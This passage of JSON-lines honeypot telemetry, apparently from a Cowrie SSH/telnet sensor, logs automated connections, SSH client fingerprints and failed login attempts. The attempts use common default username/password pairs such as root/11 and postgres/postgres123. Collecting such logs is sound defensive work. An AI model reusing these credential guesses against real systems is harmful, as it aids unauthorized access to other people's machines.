com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:52.156565Z","src_ip":"176.65.132.129","session":"9a79bcf6ad3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:52.406274Z","src_ip":"176.65.132.129","session":"9a79bcf6ad3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:53.497049Z","src_ip":"176.65.132.129","session":"9a79bcf6ad3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":60156,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce7d1609a5c8","protocol":"ssh","message":"New connection: 213.135.168.228:60156 (159.203.135.109:22) [session: ce7d1609a5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.248604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.253896Z","src_ip":"213.135.168.228","session":"ce7d1609a5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47378,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b9bde933066","protocol":"ssh","message":"New connection: 176.65.132.129:47378 (159.203.135.109:22) [session: 8b9bde933066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.319403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.326195Z","src_ip":"176.65.132.129","session":"8b9bde933066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.386843Z","src_ip":"213.135.168.228","session":"ce7d1609a5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.410547Z","src_ip":"176.65.132.129","session":"8b9bde933066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.663297Z","src_ip":"176.65.132.129","session":"8b9bde933066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qg123456","message":"login attempt [root/Qg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:55.945642Z","src_ip":"213.135.168.228","session":"ce7d1609a5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:56.750096Z","src_ip":"176.65.132.129","session":"8b9bde933066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:57.080026Z","src_ip":"213.135.168.228","session":"ce7d1609a5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60966,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b6b41215223","protocol":"ssh","message":"New connection: 176.65.132.129:60966 (159.203.135.109:22) [session: 4b6b41215223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:58.573716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:58.578432Z","src_ip":"176.65.132.129","session":"4b6b41215223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:58.660613Z","src_ip":"176.65.132.129","session":"4b6b41215223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:59.068996Z","src_ip":"176.65.132.129","session":"4b6b41215223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:00.153694Z","src_ip":"176.65.132.129","session":"4b6b41215223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60978,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5775d6d635","protocol":"ssh","message":"New connection: 176.65.132.129:60978 (159.203.135.109:22) [session: 7a5775d6d635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:02.003549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:02.008864Z","src_ip":"176.65.132.129","session":"7a5775d6d635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:02.098647Z","src_ip":"176.65.132.129","session":"7a5775d6d635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:02.390073Z","src_ip":"176.65.132.129","session":"7a5775d6d635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:03.475018Z","src_ip":"176.65.132.129","session":"7a5775d6d635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51920,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a25633da871","protocol":"telnet","message":"New connection: 152.42.224.71:51920 (10.17.0.5:23) [session: 9a25633da871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:03.655111Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":51920,"dst_ip":"159.203.135.109","dst_port":22,"session":"34835abcf11e","protocol":"ssh","message":"New connection: 109.172.54.111:51920 (159.203.135.109:22) [session: 34835abcf11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:04.495996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:04.504948Z","src_ip":"109.172.54.111","session":"34835abcf11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:04.607830Z","src_ip":"109.172.54.111","session":"34835abcf11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19951995","message":"login attempt [root/19951995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:04.926018Z","src_ip":"109.172.54.111","session":"34835abcf11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60994,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c650f9520f","protocol":"ssh","message":"New connection: 176.65.132.129:60994 (159.203.135.109:22) [session: f0c650f9520f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:05.217287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:05.222881Z","src_ip":"176.65.132.129","session":"f0c650f9520f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:05.305710Z","src_ip":"176.65.132.129","session":"f0c650f9520f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:05.557861Z","src_ip":"176.65.132.129","session":"f0c650f9520f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:06.032938Z","src_ip":"109.172.54.111","session":"34835abcf11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:06.648436Z","src_ip":"176.65.132.129","session":"f0c650f9520f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49948,"dst_ip":"10.17.0.5","dst_port":23,"session":"92cb22e3ed87","protocol":"telnet","message":"New connection: 152.42.224.71:49948 (10.17.0.5:23) [session: 92cb22e3ed87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:07.378082Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23d99dd9d99","protocol":"ssh","message":"New connection: 176.65.132.129:36830 (159.203.135.109:22) [session: e23d99dd9d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:08.366918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:08.372806Z","src_ip":"176.65.132.129","session":"e23d99dd9d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:08.457384Z","src_ip":"176.65.132.129","session":"e23d99dd9d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:08.708767Z","src_ip":"176.65.132.129","session":"e23d99dd9d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:09.794055Z","src_ip":"176.65.132.129","session":"e23d99dd9d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1d5621531be","protocol":"ssh","message":"New connection: 149.56.241.206:37268 (10.17.0.5:22) [session: c1d5621531be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:09.885010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:40:09.895887Z","src_ip":"149.56.241.206","session":"c1d5621531be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-e